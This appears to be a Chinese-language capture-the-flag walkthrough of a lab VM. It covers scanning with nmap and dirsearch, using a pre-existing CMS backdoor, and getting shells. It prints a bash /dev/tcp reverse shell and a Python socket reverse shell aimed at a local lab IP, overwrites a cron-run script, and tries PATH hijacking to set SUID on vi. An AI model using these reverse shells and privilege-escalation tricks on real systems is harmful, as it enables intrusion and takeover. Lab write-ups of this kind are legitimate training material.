主机探活
nmap -sP 192.168.159.1/24
目标主机ip为:192.168.159.182
端口发现
nmap -sV -p- -A 192.168.159.182
目标靶机开放端口为:22、80端口
80端口
目录扫描
dirsearch -u 192.168.159.182
发现存在cms,访问,并且对cms进行目录扫描
到处乱点,页面跳转后发现这个网站已经被黑了(悲
猜测可能存在后门,这时发现对cms的扫描出现了可疑页面
访问,发现直接可疑弹shell,应该就是后门了
反弹shell
直接输入本机开启的监听IP和端口
但是发现这好像不是一个直接弹shell的后门,是要取一个文件
获取 fe40fc796c2a74ce1c9d74f3f849e7fe.sh 文件
目前不知道这是个啥,什么用户会调用,相当于盲打了,咱们写一个弹shell的sh脚本,看看又用没
bash -c 'bash -i >& /dev/tcp/192.168.159.131/7777 0>&1'
起一个web服务,将该文件上传到目标靶机
这里好像刚取到就运行了,本地把端口打开监听,再传一次
成功获取shell
提权
同样,常规suid、sudo等等走完之后没有新的信息,进行信息收集
信息收集
在 /home/alice/script
下发现两个文件
同时,通过clear.log文件的内容得知 log.py 文件每隔一分钟会运行一次
查看 log.py 文件,它的注释内容给了我灵感,可以把这个文件重命名,同时重新上传一个可以弹shell的 log.py
文件
#!/usr/bin/python2.7
"""
#Juste in case I want stop this script remotly
r = requests.get("https://pastebin.com/raw/9vzu2CA5")
cmd=str(r.text)
check ="stopit"
if check == cmd :
os.system('cp /home/alice/script/log.py /home/alice/script/log.bak')
"""
文件覆盖
先准备目标文件
#!/usr/bin/python2.7
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.159.131",7778));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])
重命名原文件并将目标文件转移到目标文件夹下
本地开启端口监听
成功获得alice权限
alice
还是常规操作后没有发现信息,直接信息收集
在 alice 目录下找到一个新的文件夹 backup,里面存在几条提示信息
根据日志文件我们可以看到应该有一个脚本每隔一分钟会运行一次
在根目录下发现可疑文件
查看一下
emmm,最后的输出对不上。。。但是估计命令应该差不多,尝试进行环境变量劫持
环境变量劫持
cd /tmp
touch rsync
echo 'chmod +s /usr/bin/vi' > rsync
chmod 777 rsync
PATH=/tmp:$PATH
不知道为啥,没有用。。。
我自己尝试了一些简单的,好像大概也许python有保护?
最后看大佬wp,发现没有提权,直接把 /root
写入了 path.txt,利用backup.py
文件把 /root 目录下的所有东西都存到 /home/alice/backup 下,直接查看了